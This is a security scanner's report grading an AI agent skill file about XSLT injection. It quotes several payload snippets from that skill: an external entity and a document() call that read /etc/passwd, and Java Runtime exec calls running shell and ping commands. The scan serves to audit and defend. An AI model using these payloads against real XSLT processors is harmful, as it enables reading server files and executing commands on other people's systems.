xslt-injection
https://raw.githubusercontent.com/yaklang/hack-skills/main/skills/xslt-injection/SKILL.md
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:26:32 GMT
Scan ID crawl-i72xhp34rep8zx7ykdoa69p1 · 3ms
B
SCORE 75 / 100
Verdict: Safe to install

2 high-severity findings.

This skill reads protected filesystem locations plus 4 other issues listed below.

0 critical2 high3 medium7 rules passed

Why grade B?

score · 75 / 100

The current grade reflects 2 high-severity findings (any HIGH → B).

0 CRIT2 HIGH3 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve all 2 HIGH + 1 of 3 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Findings · ordered by severity

high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 66CWE-552
▾
64```xml
65<!DOCTYPE xsl:stylesheet [
66 <!ENTITY ext_file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
67]>
68<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 92CWE-552
▾
90 <xsl:output method="text"/>
91 <xsl:template match="/">
92 <xsl:copy-of select="document('/etc/passwd')"/>← sensitive path — credential-exfiltration vector
93 </xsl:template>
94</xsl:stylesheet>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 185CWE-78
▾
183 <xsl:template match="/">
184 <xsl:variable name="rtobject" select="rt:getRuntime()"/>
185 <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>← spawns a subprocess outside declared capabilities
186 </xsl:template>
187</xsl:stylesheet>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 193CWE-78
▾
191
192```text
193Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')← spawns a subprocess outside declared capabilities
194```
195
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
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